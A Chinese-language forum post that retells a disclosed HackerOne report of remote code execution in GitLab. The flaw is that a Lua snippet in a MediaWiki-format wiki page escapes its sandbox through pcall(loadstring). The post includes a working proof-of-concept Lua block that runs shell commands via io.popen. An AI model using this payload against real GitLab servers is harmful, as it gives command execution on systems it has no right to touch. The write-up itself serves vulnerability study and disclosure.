大家好,我是搓澡张师傅。
这应该是我入驻方舟一来的第一篇长贴,先说点废话(直接看下边正文也行)。
我2017年开始看狗神的书并混迹于iosre论坛,所以在某种程度上来说狗神是我在逆向方面的老师。同时我也从iosre上汲取了众多营养,也在积极地回馈社区,积极地分享一些知识和观点。在这里非常感谢狗神的书,知识,无偿的经营论坛提供空间。但时至今日事情发生了一些变化,狗神和众多版主因为运营理念分歧(就先按这个措辞把,虽然故事有很多,各位大佬也有各自的立场,但是我实在也找不出更书面的措辞了),论坛产生了分裂。我以后就把这里作为发展技术根据地了。狗神那个论坛就当成个互联网娱乐版块来浏览了。
我目前的状况,跟页师傅学习挖洞,页师傅也很无私的倾囊相授,让我顺利的挖掘到了某厂的重点产品高危漏洞。我目前还在不断学习中。从今天起不定期搬运hackerone上漏洞。
我还是个挖洞菜鸡(比较有热情),所以文章质量大家自行评估(意思有可能会有低级错误,如发现请及时指正),勿当做教学读物,也勿当做大佬雄文(自作多情)。
说一千道一万进入正题:
今天要搬运的漏洞是:
https://hackerone.com/reports/1401444。
Gitlab RCE(RemoteCodeExecute,远程代码执行),
漏洞奖金3000美元
漏洞产生原因:
Gitlab
支持的一种叫做 mediawiki
的 wiki
格式,使用 WikiCloth
来渲染的。 WikiCloth
有个扩展叫做 rubyluabridge
,拆看就是三个单词 ruby-lua-bridge
。就是提供 lua
和 ruby
之间的桥接代码。所以梳理一下关系
Gitlab
→ markdown(ruby) → 插件ruby-lua-bridge(ruby) → markdown页面里执行lua代码
这一切看起来按部就班没毛病,也就是说lua代码的宿主是markdown(类比html宿主是浏览器),换句话说lua只能在markdown的沙盒里执行,类似html,js之类的,也就渲染一下执行点沙盒内的小逻辑啥的。
但是细心地作者从文档里找到了一句话:
loadstring – UNSAFE. See load. Even this isn’t safe. For example,
pcall(safeloadstring, some_script)
will load some_script in global environment. --SergeyRozhenko
划重点, will load some_script in global environment,也就是说用 pcall
函数 lua
可以从 markdown
的沙盒里逃逸了。
poc+复现:
- 安装rubyluabridge
- gitlab创建一个新工程,和一个wiki页面
- clone工程
- 创建一个hello.wiki, 注意这个wiki里使用了那个unsafe的pcall
<lua>
_,execute = pcall(loadstring,
[[
local command = ...;
local handle = io.popen(command)
local result = handle:read("*a")
handle:close()
return result;
]]
);
print(execute('id'));
execute('echo vakzz > /tmp/ggg');
</lua>
- comit+push
- 浏览器里访问刚才创建的页面(这步主要是为了触发markdown里的代码执行)
- 访问/tmp/ggg 发现lua代码执行成功
菜鸡总结:
1,用于输入叫做攻击面,用来搞事情,这次输入的就是gitlab wiki里的markdown(lua)
2,文档+脚本是代码执行重灾区(因为花活多,需求多)
3,js的eval很危险,也被挖的差不多了,lua这种稍微小众一点的脚本还是值得挖一挖。
4,如非必须,别瞎捷豹装各种script的插件